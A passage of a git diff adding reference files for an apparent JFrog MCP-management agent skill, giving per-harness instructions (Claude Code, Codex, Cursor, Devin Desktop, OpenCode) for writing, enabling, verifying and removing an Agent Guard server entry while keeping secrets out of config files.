+ +`/mcp` → **drill into the server entry** (arrow into it, not just the top-level +row) → read `Capabilities:`. It MUST list at least one tool. Top-level +`✓ connected` alone is NOT proof (green whenever the proxy started, even with 0 +upstream tools). Empty `Capabilities:` = Failed → see the "0 tools" +troubleshooting in [key-rules-and-troubleshooting.md](key-rules-and-troubleshooting.md). + +## Approval / stuck-state precedence + +If a server "still appears approved (or won't go away)", approval state lives in +plain JSON arrays read at session start (nothing cached; `npm cache clean` is +unrelated). Check, in precedence order: + +1. `/.claude/settings.local.json` — per-user, gitignored (where Enable writes by default) +2. `/.claude/settings.json` — team-shared, committed to git +3. `~/.claude/settings.json` — user-global, applies to every repo +4. `~/.claude.json` → `projects[""].enabledMcpjsonServers` / `disabledMcpjsonServers` — runtime store on interactive approve/reject; NOT cleared by `reset-project-choices` +5. Managed `managed-settings.json` (`/Library/Application Support/ClaudeCode/` on macOS, `/etc/claude-code/` on Linux, `%ProgramData%\ClaudeCode\` on Windows) — can't be overridden + +Also check `enableAllProjectMcpServers: true` in any of (1)–(3) — it +auto-approves every entry. To truly revoke, remove the entry from every file +that lists it, then relaunch. A missing entry from `claude mcp list` is usually +a JSON parse failure (undefined `${VAR}`) or an `allowedMcpServers` / +`deniedMcpServers` policy in `managed-settings.json`. diff --git a/skills/jfrog-mcp-management/references/harness-codex.md b/skills/jfrog-mcp-management/references/harness-codex.md new file mode 100644 index 0000000..4538171 --- /dev/null +++ b/skills/jfrog-mcp-management/references/harness-codex.md @@ -0,0 +1,225 @@ +# Harness: OpenAI Codex + +Codex-specific config for the `jfrog-mcp-management` skill. Read this together +with [harness-common.md](harness-common.md) (shared entry shape and success +criterion). You reached this file because the harness is Codex (`CODEX_SANDBOX` +/ `CODEX_THREAD_ID` / `CODEX_CI`). This targets the Codex CLI / IDE extension, +which all share the same `config.toml`. + +> **Codex differs from the JSON harnesses:** the config is **TOML** - one +> `[mcp_servers.]` table per server, with the server **`` matching +> `^[a-zA-Z0-9_-]+$`** (derive a slug from `spec.packageName`, see Top-level +> key). Transport is implicit - a `command` key means stdio (omit `type`). The +> default scope is **user-level** (project scope loads only from a *trusted* +> directory). Secrets and env references use an **`env_vars` allow-list** that +> forwards named variables from the launching shell. Write the entry using the +> TOML template in **Full entry shape** below. + +## Config files + +- **Default scope: user-level.** `~/.codex/config.toml` (or + `$CODEX_HOME/config.toml` if `CODEX_HOME` is set; on Windows `~` is + `%USERPROFILE%`, i.e. `%USERPROFILE%\.codex\config.toml`) - personal, not committed, + applies to every project. Create if missing. Servers live under the + `[mcp_servers.]` table (top-level key `mcp_servers`). +- **Project:** `.codex/config.toml` in the project root - shareable via git, but + Codex loads it ONLY when the project is **trusted** (accepted the trust prompt, + or `projects."".trust_level = "trusted"` in `~/.codex/config.toml`). + Use ONLY if the user says "for this project" / "commit" / "share with the + team", and tell them it takes effect only once the directory is trusted. +- **Write to exactly one scope, never both.** User config wins where the two + overlap. Do not ask which scope unless the user brings it up. + +## Top-level key + +Use `mcp_servers` - one TOML table per server: `[mcp_servers.]`. + +**The `` MUST match `^[a-zA-Z0-9_-]+$`.** Codex rejects any other +name at startup ("Invalid MCP server name"), so when `spec.packageName` contains +characters like `.` `/` `@`, derive a **slug** for the table key: lowercase +`spec.packageName`, replace each run of characters outside `[a-z0-9_-]` with a +single `-`, and trim leading/trailing `-`. Examples: + +1. `org.example/tool` → `org-example-tool` +2. `@scope/pkg` → `scope-pkg` + +**Before writing, check for an existing `[mcp_servers.]` table with that +key.** Re-declaring a TOML key silently overwrites the earlier table (or errors on +strict parsers), and an unrelated server (another Agent Guard package, or a plain +MCP entry with no `_JF_ARGS` at all) may already own that key. Treat the key as +**yours only if its `_JF_ARGS` has `mcp=` matching exactly** - +then you are updating that entry. Otherwise, the key is occupied: append a numeric +suffix (`-2`, then `-3`, …) and keep probing until you find a free key (or one +that is already your exact package). + +The slug is only a local label - **the authoritative package identity stays in +`_JF_ARGS` (`mcp=`)**, which is what the List and Remove flows +match on. Keep `mcp=` set to the exact catalog `spec.packageName`, never the slug. + +## Value reference (env / secrets) + +In Codex, values come from two `env` mechanisms: + +- **`env` table** - inline literal values only. Use it for the non-secret + `_JF_ARGS` string, and for any non-secret you choose to write literally. +- **`env_vars` array** - an allow-list of variable NAMES that Codex forwards + from the shell that launched it into the server process. Use this for every + value that must stay OUT of the file: **all secrets**, and any non-secret you + prefer to keep as a reference. The user exports the variable in the launching + shell (see [persisting-env-vars.md](persisting-env-vars.md)); Codex forwards it + on next launch. If a required forwarded variable is unset, the Agent Guard + fails at startup - confirm the export before restart. **Never write a raw + secret into `env`.** + +**Names are case-sensitive - copy the catalog input's `name` verbatim.** Every +`env_vars` entry, and every `env` key that carries a **catalog input** value, +MUST equal that input's `name` (from `--inspect`) character-for-character, +including case. (This does NOT apply to `_JF_ARGS` - it is a fixed Agent Guard +key, not a catalog input.) The Agent Guard matches the forwarded variable to the +upstream env var / header name exactly, so an uppercased or renamed variable is +silently dropped and the MCP starts with the value missing. e.g. mcp header input +is named `Authorization` → use `Authorization` (NOT `AUTHORIZATION`) in `env_vars` +and in the user's `export`. + +For a `Bearer` header the catalog exposes as a header input, forward it the same +way: have the user export the FULL header value under that exact name - e.g. +`export Authorization="Bearer "` - and list `Authorization` (verbatim +case) in `env_vars`. The prefix and secret both stay out of the file. + +Full entry shape - write the whole server as a **single `[mcp_servers.]` +table** with an inline `env = { … }` (do NOT split `env` into a separate +`[mcp_servers..env]` sub-table). `_JF_ARGS` is a literal in `env`; +secrets/refs go through `env_vars`: + +```toml +[mcp_servers.] +command = "npx" +args = ["--yes", "--registry", "", "@jfrog/agent-guard", "--server", ""] +env = { _JF_ARGS = "project=&mcp=", "" = "" } +env_vars = [""] +``` + +- `` is the sanitized slug from **Top-level key** (matches + `^[a-zA-Z0-9_-]+$`, needs no quoting); `mcp=` in `_JF_ARGS` keeps the exact + `spec.packageName`. +- **Include `--server `** to authenticate JFrog on Codex - it is the + default, and required when the user has multiple `jf` servers. It also keeps the + entry working if the user later adds more servers. (It can be omitted only when a + single `jf` server is configured, which the Agent Guard auto-resolves; see JFrog + credentials below.) `env_vars` here is only for the upstream MCP's own + secrets/inputs, never for JFrog credentials. +- Omit `env_vars` if there are no forwarded values; omit the extra `env` key if + `_JF_ARGS` is the only literal. Never emit an empty `--server`. +- **Always write the entry as one section** with the inline `env = { … }` above - + hand-write it, do NOT run `codex mcp add`. That command splits `env` into a + separate `[mcp_servers..env]` sub-table and cannot express `env_vars`. + +## JFrog credentials - from the `jf` config + +Codex does NOT forward ambient shell variables, so the Agent Guard reads its JFrog +credentials from the on-disk `jf` CLI config (which the Codex-launched process can +read). + +**Include `--server ` in `args` by default.** It reads that server's +URL + token from the `jf` config, is unambiguous, and keeps working if the user +later adds more servers. Resolve `` per the agent-guard-common +Pre-flight rules. + +`--server` can be **omitted only when exactly one `jf` server is configured** - in +that case the Agent Guard auto-resolves it. With **multiple** `jf` servers, +omitting `--server` fails: the Agent Guard cannot choose between them and does NOT +fall back to the `jf` default, so `--server` is required. (When in doubt, include +it.) + +**Codex exception to the shared rule.** [SKILL.md](../SKILL.md) treats `--server` +as conditional and permits dropping it on the `JFROG_URL`+token env path (see its +Step 4 Guardrails, "`--server` … drop it only on the `JFROG_URL`+token env +path"). **That env path does NOT apply on Codex** - Codex does not forward ambient +shell env to the server, so `JFROG_URL` / `JFROG_ACCESS_TOKEN` never reach the +Agent Guard. On Codex, therefore, do NOT authenticate JFrog via env-var +credentials; use `--server ` (or a single configured `jf` server) as +described above. If there is no usable `jf` server, ask the user to add one +(`jf c add `, or `jf login`) before continuing. + +If credentials cannot be resolved (no `--server` and either zero or multiple `jf` +servers), the entry fails to start with `connection closed: initialize response`. + +## Step 0 activation check under Codex's sandbox + +Codex runs shell commands in a sandbox with **no outbound network by default**, +and the skill's Step 0 check (`scripts/jfrog-agent-guard-check.mjs`) probes the +JFrog settings endpoint over the network. So the first run can report `Disabled: +settings endpoint unreachable (fetch failed)` even when the `jf` credentials are +valid - that is the sandbox blocking the request, NOT a missing or unreachable +server. On Codex, treat a first-run `unreachable (fetch failed)` as +**inconclusive, not a Disabled result** - do NOT apply the Step 0 "silently +abort" handling from +[agent-guard-activation.md](agent-guard-activation.md) yet. First re-run the SAME +check with network access (approve the escalated command, or run it outside the +sandbox); only treat the platform as unreachable if it STILL fails with network. +A follow-up `Enabled: via JF CLI config (server '')` confirms it was only the +sandbox. Credentials resolve from the on-disk `jf` config regardless - only the +reachability probe needs network. + +## Enable + +Codex servers are enabled by default (`enabled = true` is implicit) - there is no +per-server approval file to pre-write. Just make sure the entry is NOT +`enabled = false`. For a **project-scoped** entry, the directory must be trusted +or Codex ignores `.codex/config.toml` entirely. **Trust is the user's decision - +do NOT write `trust_level` yourself to self-approve a directory.** Ask the user to +accept Codex's trust prompt (or, only if they explicitly ask, they can set +`projects."".trust_level = "trusted"` in `~/.codex/config.toml`). + +## Restart + +Codex reads `config.toml` at startup and does not hot-reload it, and the agent +cannot restart Codex itself - **tell the user to start a new Codex session** (exit +and relaunch `codex`, or open a new session in the IDE extension) so the +added/removed entry and any newly exported `env_vars` take effect. + +## List installed + +`codex mcp list` for the configured servers with their auth status (one row per +server); `codex mcp get ` prints one server's resolved config. +For JFrog metadata, read the `[mcp_servers.*]` tables from `~/.codex/config.toml` +(user) and, if trusted, the project `.codex/config.toml`. Identify the package by +the `mcp=` value in each entry's `_JF_ARGS` (the table key is only a slug), and +show it as the display name. When reading an entry for metadata, use ONLY the +table key/slug, the `_JF_ARGS` values (`mcp=` / `project=`), and the `env_vars` +**names** - do NOT read, log, or display the `env` table's values (a user may have +placed a secret there despite the guidance above). An entry that does not appear +in `codex mcp list` is usually a TOML syntax error, an invalid server name (must +match `^[a-zA-Z0-9_-]+$`), or an untrusted project config. + +## Verify + +Run `/mcp` in the Codex TUI (or check the IDE extension's MCP view) and confirm +the server exposes the upstream MCP's **real tools**. `codex mcp list` shows the +server and its auth status but is NOT proof of working tools - the Agent Guard +proxy can report up with 0 upstream tools. + +Codex-specific signals to read correctly: +- **`Auth: Unsupported` is normal** for static-header and local MCPs - it + describes Codex's own OAuth support, not the upstream MCP. Judge by the tool + list. +- **An `enable__tools` tool is a normal Agent Guard gate**, not an error: + for MCPs that need sign-in or explicit enablement, the Agent Guard first + exposes this single tool; invoking it (e.g. "sign in to ``") runs the flow + and the upstream MCP's real tools then appear. Re-check `/mcp` afterward. +- If the **real tools never appear** (even after enabling / signing in), a + required input likely did not reach the server - most often an `env_vars` name + or shell export whose case does not match the catalog input `name` (see Value + reference), or a variable that was not exported in the launching shell. Fix it + and start a new session. A truly empty tool list = Failed → see the "0 tools" + troubleshooting in + [key-rules-and-troubleshooting.md](key-rules-and-troubleshooting.md). + +## Remove + +Find the target entry by matching `mcp=` in `_JF_ARGS`, then +`codex mcp remove ` (using that entry's table key), or delete +the whole `[mcp_servers.]` table by hand. Check BOTH scopes +(user `~/.codex/config.toml` and, if present, project `.codex/config.toml`) per +the SKILL.md Remove flow. There is no top-level `inputs`-style array to clean up. +Then start a new Codex session so the removed server stops loading. diff --git a/skills/jfrog-mcp-management/references/harness-common.md b/skills/jfrog-mcp-management/references/harness-common.md new file mode 100644 index 0000000..850a365 --- /dev/null +++ b/skills/jfrog-mcp-management/references/harness-common.md @@ -0,0 +1,118 @@ +# Harness config — common + routing + +Reference for the Install, List, and Remove flows of the +`jfrog-mcp-management` skill. + +The Agent Guard workflow is identical on every harness. The parts that vary — +config file path, top-level JSON key, env/secret reference syntax, and +enable/restart/verify — are split into **one file per harness**. Read this file +plus **exactly one** harness file; do NOT open the others. + +## Step A — detect the harness and open ONE file + +The `CLAUDECODE` / `CURSOR_*` / `CODEX_*` / `OPENCODE` signals below +mirror `../../jfrog/scripts/check-environment.sh` `detect_harness()`; the +`TERM_PROGRAM=vscode` editor hint is **not** in that script, and Devin is +**not** detected by the script. Each row's signal is **self-contained and +non-overlapping**, so detection does not depend on evaluation order. The VS +Code harness file targets the **VS Code editor** (Copilot MCP support), not +the standalone GitHub Copilot terminal CLI — the CLI (`COPILOT_CLI`) has no +editor UI or `mcp.json`, so it falls through to the Fallback section. + +1. Call `../../jfrog/scripts/check-environment.sh` and parse `tool=` from + the User-Agent line. When `tool` is `claude` or `cursor`, that matches the + Claude or Cursor row below — open that harness file. This call also + satisfies the Prerequisites environment check — capture/export + `JFROG_CLI_USER_AGENT` from it here too, rather than calling the script + again later. +2. Otherwise other `tool` values, `unknown`, or a missing `tool` are not enough + — **match this table**. Use how your system prompt identifies you plus any + environment variables that matching row lists. If row matches → open that file. + Unsure → step 3. Sure none apply → Fallback. +3. If detection is still not conclusive, ASK the user which agent/editor they + are in — do not guess, and do not read multiple harness files. + +| Detected harness | Signal (self-contained) | Read THIS file (and no other harness file) | +| --- | --- | --- | +| Claude Code | `CLAUDECODE` or `CLAUDE_CODE_ENTRYPOINT` env var | [harness-claude.md](harness-claude.md) | +| Codex | `CODEX_SANDBOX` / `CODEX_THREAD_ID` / `CODEX_CI` | [harness-codex.md](harness-codex.md) | +| Cursor | `CURSOR_AGENT` / `CURSOR_CLI` / `CURSOR_TRACE_ID` env var | [harness-cursor.md](harness-cursor.md) | +| OpenCode | `OPENCODE` | [harness-opencode.md](harness-opencode.md) | +| Devin Desktop | Your system prompt / system instructions identify you as **Devin** (Devin Desktop / Devin Local / Cognition). That alone is enough. Optionally confirm with `VSCODE_IPC_HOOK` set to the Devin Desktop IPC socket (full path), e.g. macOS: `~/Library/Application Support/Devin/-main.sock` — the expanded path contains `/Devin/`. The path alone is **not** enough. | [harness-devin.md](harness-devin.md) | +| VS Code editor | `TERM_PROGRAM=vscode` **and no `CURSOR_*` var is set** **and no `OPENCODE` var is set** **and no `CODEX_*` var is set** **and no `CLAUDECODE`/`CLAUDE_CODE_ENTRYPOINT` var is set** **and no `GEMINI_CLI` / `GOOSE_TERMINAL` / `COPILOT_CLI` var is set** **and** your system prompt / system instructions do **not** identify you as Devin | [harness-vscode.md](harness-vscode.md) | +| anything else | none of the above | **Fallback** section below — no harness file exists | + +Once you know your harness, use ONLY these fields from its file: `Config files` +(path + scope), `Top-level key`, `Value reference` (env/secret syntax), `Enable`, +`Restart`, `List installed`, `Verify`. Every step in SKILL.md that says "per +harness-config" means: use the value from your one harness file. + +## Common — identical on every harness + +These do not vary; the harness file only overrides the pieces above. + +**The Agent Guard entry** always invokes `npx @jfrog/agent-guard` with the same +argument tokens (in the same order) and the same `_JF_ARGS`. What varies per +harness is **how the entry is written** — the wrapping top-level key, the +value-reference syntax, and the entry *shape* itself (the transport field, and +whether `command`/`args` are separate). The JSON template below is the common +case; harnesses whose config is not JSON differ — e.g. **Codex** uses TOML with no +`type`, and **OpenCode** merges `command`+`args` into a single `command` array — so +**always follow your harness file's "Full entry shape" when it has one.** + +```json +{ + "": { + "": { + "type": "stdio", + "command": "npx", + "args": [ + "--yes", + "--registry", + "", + "@jfrog/agent-guard", + "--server", + "" + ], + "env": { + "_JF_ARGS": "project=&mcp=", + "": "" + } + } + } +} +``` + +- `"type": "stdio"` always — never `"http"`, `"sse"`, or a top-level `"url"` + (those bypass the Agent Guard). +- `--yes` and `--registry ` MUST precede `@jfrog/agent-guard` in `args`. +- `--server ` in `args` is conditional: drop both array elements only on the + `JFROG_URL`+token env path (see [agent-guard-common.md](agent-guard-common.md)). +- Never write a raw secret — always a value reference in the harness's syntax. +- `_JF_ARGS` values are substituted raw (no URL-encoding), which is safe only + because both are free of query-string reserved chars (`&`, `=`, `+`, space): a + JFrog project key is lowercase alphanumerics/hyphens, and `spec.packageName` + adds only `@ . /`. Never substitute any other value into `_JF_ARGS`. + +**Success criterion (every harness):** after enable + restart, the server MUST +expose **at least one tool**. A "connected" / "running" label alone is NOT proof +— the Agent Guard proxy can report up with 0 upstream tools. An empty +tool/capability list = Failed. + +**OAuth cache (every harness):** OAuth `--login` caches tokens in +`~/.jfrog/jfrogmcp.conf.json` regardless of harness; removal cleanup of that +file is the same everywhere (see SKILL.md Remove). + +## Fallback — harness not listed + +No harness file exists for this agent. Do NOT reuse another harness's path, key, +or reference syntax. Instead: + +1. Find, from the harness's own documentation, its MCP config file location, the + top-level key of its servers map, and how it references env/secret values. +2. Write the common Agent Guard entry above under that key, with that syntax. +3. Enable, restart, and verify per that harness's own mechanism; confirm ≥1 tool + before reporting success. + +If you cannot determine the config location, ASK the user — writing to the wrong +file is worse than asking. diff --git a/skills/jfrog-mcp-management/references/harness-cursor.md b/skills/jfrog-mcp-management/references/harness-cursor.md new file mode 100644 index 0000000..fc22c6e --- /dev/null +++ b/skills/jfrog-mcp-management/references/harness-cursor.md @@ -0,0 +1,66 @@ +# Harness: Cursor + +Cursor-specific config for the `jfrog-mcp-management` skill. Read this together +with [harness-common.md](harness-common.md) (shared entry shape and success +criterion). You reached this file because the harness is Cursor (`CURSOR_AGENT` +/ `CURSOR_CLI` / `CURSOR_TRACE_ID`). + +## Config files + +- **Default scope: project.** `.cursor/mcp.json` in the project root — shareable + via git. Create if missing: `{ "mcpServers": {} }`. +- **User (global):** `~/.cursor/mcp.json`. Use ONLY if the user says "personal + only" / "do not commit". +- Do not ask which scope unless the user brings it up. + +## Top-level key + +`mcpServers` + +## Value reference (env / secrets) + +`${env:VAR_NAME}`, resolved from the shell that launched Cursor. For `Bearer` +headers: `"Bearer ${env:TOKEN}"`. The user must export the variable in the +launching shell (see [persisting-env-vars.md](persisting-env-vars.md)); values +are picked up on next launch. If a required `${env:VAR}` is unset the Agent +Guard fails at startup — confirm the export before restart. Never write a raw +secret. + +## Enable + +Cursor stores enable/approval state separately and does NOT auto-enable new +**workspace-level** servers (user-level installs often auto-enable). ASK the +user to enable the installed MCP via the UI toggle in **Settings → Tools & MCPs**. + +## Restart + +`Developer: Reload Window`. + +## List installed + +`cursor agent mcp list` for status (one row per server). For JFrog metadata, +read `mcpServers` from `.cursor/mcp.json` (project) and `~/.cursor/mcp.json` +(user). If a configured entry does not appear in `cursor agent mcp list`, it was +never enabled — re-run Enable. + +## Verify + +**`cursor agent mcp list` / `cursor agent mcp enable` are NOT authoritative** for +the Cursor IDE — do not treat them as proof the MCP works. The only proof is that +tool descriptor files are actually present at: + +``` +~/.cursor/projects//mcps//tools/*.json +``` + +(`` is the JSON key of the MCP, optionally prefixed `user-`.) +NEVER ask the user to inspect these files themselves — after they enable the MCP, +**offer to check the `tools/` directory for them**. If `tools/` is empty or +missing after a `Developer: Reload Window`, treat as Failed → see the "0 tools" +troubleshooting in [key-rules-and-troubleshooting.md](key-rules-and-troubleshooting.md). + +## Notes + +Cursor has no `enabledMcpjsonServers`-style precedence files — enable/disable is +the UI toggle above. OAuth `--login` in a sandbox must run with `all` +permissions (see [runtime-permissions.md](runtime-permissions.md)). diff --git a/skills/jfrog-mcp-management/references/harness-devin.md b/skills/jfrog-mcp-management/references/harness-devin.md new file mode 100644 index 0000000..49616c1 --- /dev/null +++ b/skills/jfrog-mcp-management/references/harness-devin.md @@ -0,0 +1,144 @@ +# Harness: Devin **Desktop** + +Devin Desktop-specific config for the `jfrog-mcp-management` skill. Read this +together with [harness-common.md](harness-common.md) (shared entry shape and +success criterion). You reached this file because Step A matched **Devin**: +your system prompt / system instructions identify you as Devin. You may +optionally confirm with `VSCODE_IPC_HOOK` under the Devin user-data dir (e.g. +`~/Library/Application Support/Devin/-main.sock`). The environment +script does not detect Devin. + +Devin Desktop is a VS Code-family Electron shell that runs the Cascade / Devin +Local agent. It stores MCP configuration in the Windsurf config file used by +the underlying platform. + +## Config files + +- **Default scope: user-level.** Personal, not committed, available across all + workspaces. **Prefer Windsurf** — the same file Cascade uses and that the + JFrog Desktop extension writes the `jfrog` MCP into: + - macOS/Linux: `~/.codeium/windsurf/mcp_config.json` + - Windows: `%APPDATA%\.codeium\windsurf\mcp_config.json` + + Create the parent directory first (`mkdir -p` / platform equivalent), then + create the file if missing: `{ "mcpServers": {} }`. Devin Local imports this + file when `read_config_from.windsurf` is not `false` in + `~/.config/devin/config.json` (default) — so one write serves Cascade and Local. +- **Exception — migrated native store:** If `~/.config/devin/mcp_config.json` + **already exists** (user accepted **Migrate MCP config** / Copy), Devin Local + uses that file instead of Windsurf import. For Local, merge entries **there** + and do **not** require `read_config_from.windsurf`. Cascade never reads the + native file — if the entry must also appear in Cascade, merge into Windsurf + as well. Prefer **Cancel** on migrate so both agents stay on Windsurf. +- **Project scope:** Not supported by Devin Desktop's Cascade / Windsurf config. +- Do not ask which scope unless the user brings it up. + +## Top-level key + +`mcpServers` + +## Value reference (env / secrets) + +`${env:VAR_NAME}`, resolved from the environment that launched Devin Desktop. +For `Bearer` headers: `"Bearer ${env:TOKEN}"`. Devin Desktop also supports +`${file:~/path/to/file}` to inline a file's trimmed contents. The user must +export the variable in the environment that launches Devin Desktop (see +[persisting-env-vars.md](persisting-env-vars.md)); values are picked up on +next launch. If a required `${env:VAR}` is unset the Agent Guard fails at +startup — confirm the export before restart. Never write a raw secret. + +`${env:…}` / `${file:…}` are for the upstream MCP's own secrets and inputs — +never for JFrog Agent Guard credentials (see below). + +## JFrog credentials - from the `jf` config + +**Include `--server ` by default.** It reads that server's URL + token +from the on-disk `jf` CLI config, is unambiguous, and keeps working if the user +later adds more servers. Resolve `` per the agent-guard-common +Pre-flight rules; never emit an empty `--server`. + +`--server` can be **omitted only when exactly one `jf` server is configured** - in +that case the Agent Guard auto-resolves it. With **multiple** `jf` servers, +omitting `--server` fails: the Agent Guard cannot choose between them and does NOT +fall back to the `jf` default, so `--server` is required. (When in doubt, include +it.) + +**Devin exception to the shared rule.** [SKILL.md](../SKILL.md) treats `--server` +as conditional and permits dropping it on the `JFROG_URL`+token env path (see its +Step 4 Guardrails, "`--server` … drop it only on the `JFROG_URL`+token env +path"). **That env path does NOT apply on Devin Desktop** - do NOT authenticate +JFrog via env-var credentials, even though Devin Desktop would resolve +`${env:JFROG_URL}` / `${env:JFROG_ACCESS_TOKEN}` (or inherit them from the +launch environment) into the Agent Guard process. Use `--server ` +(or a single configured `jf` server) as described above. If there is no usable +`jf` server, ask the user to add one (`jf c add `, or `jf login`) before +continuing. + +If credentials cannot be resolved (no `--server` and either zero or multiple `jf` +servers), the entry fails to start and the server connects with no tools. + +## Enable + +Devin Desktop loads every non-disabled entry in `mcpServers` automatically on +window load; there is no per-server approval prompt to pre-approve. If the +entry carries `"disabled": true`, remove it so the server runs. Otherwise +nothing to do here. + +## Restart + +`Developer: Reload Window` (or fully quit and reopen Devin Desktop). Devin +Desktop re-reads `mcp_config.json` on window load and reconnects each server. + +## List installed + +Open the **MCP servers** panel (Cascade panel toolbar, or +`Devin Settings → Cascade → MCP Servers`), or **Open customizations** on a +Devin Local session — each configured server is listed with its live +connection state. Servers and their tools are also reachable via `@` in the +chat input. Do **not** use `/mcp` here: that slash command is Devin CLI only; +in Desktop `/` lists workflows, so `/mcp` can fuzzy-match a skill and mislead. +Confirm via the MCP servers panel / Open customizations, or by checking that +`` exists under `mcpServers` in the active store (Windsurf by default; +native `~/.config/devin/mcp_config.json` only when that file already exists — +see Config files). When reading the file, do not report secret values — env +**key names** only; never display resolved `${env:…}` or `${file:…}` contents. + +## Verify + +Before treating a missing server as Failed: confirm the entry is in the active +store (Windsurf by default; native only when that file already exists). For +Devin Local on Windsurf, also confirm `read_config_from.windsurf` is not +`false`. Skip that flag check when Local is on the native file. + +Ask which MCP servers are available, or open the MCP servers panel / Open +customizations, and confirm `` is listed and connected. Then ask the +agent to list that server's tools (or reach it via `@`); the server MUST +expose **at least one tool**. A connected indicator alone is NOT proof — the +Agent Guard proxy can report connected with 0 upstream tools. Empty tool +list = Failed → see the "0 tools" troubleshooting in +[key-rules-and-troubleshooting.md](key-rules-and-troubleshooting.md). + +On first connect without cached OAuth, Devin opens a browser to sign in; later +runs reuse stored credentials. Treat **Output → MCP** as authentication / +connection status only — never as a source of token values. Devin Local may +also prompt to approve each MCP tool call by default — grant the prompt before +treating an empty list as a failure. + +## Notes + +- Cascade always reads `~/.codeium/windsurf/mcp_config.json`. Devin Local + imports that same file when `read_config_from.windsurf` is enabled in + `~/.config/devin/config.json` (default). If Local is on Windsurf and that + flag is `false`, Local will not see Windsurf entries even though the file on + disk is unchanged. +- Some Devin Desktop builds prompt to copy Windsurf MCP config to + `~/.config/devin/mcp_config.json` (**Migrate MCP config**). Prefer **Cancel** + unless the user wants to migrate: once the native file exists, Local uses it + as its store (no Windsurf-import requirement) while Cascade continues to use + Windsurf only — installs then diverge unless you write both. +- OAuth `--login` caches tokens in `~/.jfrog/jfrogmcp.conf.json` (same as all + harnesses); removal cleanup of that file is the same everywhere. +- Devin Desktop is distinct from **Devin CLI** (the `devin` terminal agent): + the CLI has its own config at `.devin/config.json` / `.devin/config.local.json` + and is not covered by this harness file. CLI-only surfaces such as `/mcp` + do not apply here. diff --git a/skills/jfrog-mcp-management/references/harness-opencode.md b/skills/jfrog-mcp-management/references/harness-opencode.md new file mode 100644 index 0000000..816b810 --- /dev/null +++ b/skills/jfrog-mcp-management/references/harness-opencode.md @@ -0,0 +1,164 @@ +# Harness: OpenCode + +OpenCode-specific config for the `jfrog-mcp-management` skill. Read this together +with [harness-common.md](harness-common.md) (shared entry shape and success +criterion). You reached this file because the harness is OpenCode (`OPENCODE`, +set in the environment at startup). This targets all OpenCode surfaces (TUI, CLI, +Desktop, IDE, web) - they share one backend and the same `opencode.json`. + +> **How OpenCode stores the entry:** config is **JSON / JSONC** under the +> top-level **`mcp`** key; each server is a **`type: "local"`** entry whose +> **`command` is a single ARRAY** (executable + args combined - there is NO +> separate `args`); env vars go in an **`environment`** object; and value +> references use **`{env:VAR}`** (or `{file:/path}`). Write the entry using the +> JSON template in **Full entry shape** below. + +## Config files + +- **Default scope: user-level (global).** `~/.config/opencode/opencode.json` + (`.jsonc` also works) - personal, not committed, applies to every project. + Create if missing: `{ "mcp": {} }`. (`$OPENCODE_CONFIG`, if set, adds a custom + config file - merged after the global file and before project config - it does + NOT replace the global file; `$OPENCODE_CONFIG_DIR`, if set, adds a custom + config directory whose `opencode.json` / `.jsonc` is also loaded.) +- **Project:** `opencode.json` (or `.jsonc`) in the project root - shareable via + git. Use ONLY if the user says "for this project" / "commit" / "share with the + team". +- **Write to exactly one scope, never both.** Config files are merged; project + overrides global on conflicts. Do not ask which scope unless the user brings it + up. + +## Top-level key + +`mcp` - one entry per server: `mcp.`. Use `spec.packageName` +directly as the key; special characters (`.` `/` `@`) are fine because OpenCode +sanitizes the name (`[^a-zA-Z0-9_-]` → `_`) when it exposes tools as +`_`. + +## Value reference (env / secrets) + +`{env:VAR_NAME}` inside the `environment` object, substituted from OpenCode's +environment when it loads `opencode.json` (use `{file:/path}` to read a value +from a file instead). For `Bearer` headers: `"Bearer {env:TOKEN}"`. The user must +export the variable in the shell that launched OpenCode (see +[persisting-env-vars.md](persisting-env-vars.md)); values are picked up on next +launch. **Names are case-sensitive** - each `environment` key that carries a +catalog input MUST equal that input's `name` (from `--inspect`) +character-for-character, or the Agent Guard drops it and the MCP starts with the +value missing. Never write a raw secret - always a `{env:...}` / `{file:...}` +reference. + +Full entry shape (`command` is one array; `_JF_ARGS` is a literal in +`environment`; secrets/refs use `{env:...}`): + +```json +{ + "mcp": { + "": { + "type": "local", + "command": ["npx", "--yes", "--registry", "", "@jfrog/agent-guard", "--server", ""], + "enabled": true, + "environment": { + "_JF_ARGS": "project=&mcp=", + "": "{env:}" + } + } + } +} +``` + +- `"type": "local"` always - never `"remote"` or a top-level `"url"` (those + bypass the Agent Guard). +- `command` merges the common entry's `command` + `args` into ONE array, same + tokens in the same order; `--yes` and `--registry ` MUST precede + `@jfrog/agent-guard`. +- **Include `--server `** to authenticate JFrog - it is the default, + and required when the user has multiple `jf` servers; it also keeps the entry + working if the user later adds more servers. (It can be omitted only when a + single `jf` server is configured, which the Agent Guard auto-resolves; see JFrog + credentials below.) The `environment` block is only for the upstream MCP's own + secrets/inputs, never for JFrog credentials. +- **Always keep `environment` with `_JF_ARGS`** - it carries the project + + package identity the Agent Guard needs to route the request. Omit only optional + input keys; never drop `_JF_ARGS` or the whole `environment` object. + +## JFrog credentials - from the `jf` config + +**Include `--server ` by default.** It reads that server's URL + token +from the on-disk `jf` CLI config, is unambiguous, and keeps working if the user +later adds more servers. Resolve `` per the agent-guard-common +Pre-flight rules; never emit an empty `--server`. + +`--server` can be **omitted only when exactly one `jf` server is configured** - in +that case the Agent Guard auto-resolves it. With **multiple** `jf` servers, +omitting `--server` fails: the Agent Guard cannot choose between them and does NOT +fall back to the `jf` default, so `--server` is required. (When in doubt, include +it.) + +**OpenCode exception to the shared rule.** [SKILL.md](../SKILL.md) treats `--server` +as conditional and permits dropping it on the `JFROG_URL`+token env path (see its +Step 4 Guardrails, "`--server` … drop it only on the `JFROG_URL`+token env +path"). **That env path does NOT apply on OpenCode** - do NOT authenticate JFrog via env-var credentials, even though OpenCode would forward `JFROG_URL` / `JFROG_ACCESS_TOKEN` to the server. Use +`--server ` (or a single configured `jf` server) as described above. If +there is no usable `jf` server, ask the user to add one (`jf c add `, or +`jf login`) before continuing. + +If credentials cannot be resolved (no `--server` and either zero or multiple `jf` +servers), the entry fails to start and the server connects with no tools. + +## Enable + +Servers are enabled by default (`enabled: true` is implicit; only +`enabled: false` disables) - writing the entry is enough, there is no separate +approval file. To disable without deleting, set `enabled: false` in the entry and +edit the config file directly. + +## Restart + +OpenCode reads config and connects MCP servers at startup and does not hot-reload +edits - **tell the user to start a new OpenCode session** (exit and relaunch +`opencode`) so the added/removed entry and any newly exported `environment` +values take effect. + +## List installed + +`opencode mcp list` (alias `ls`) shows the configured servers with their +connection status. For JFrog metadata, read the `mcp` object from every config +scope listed under **Config files** above (global, 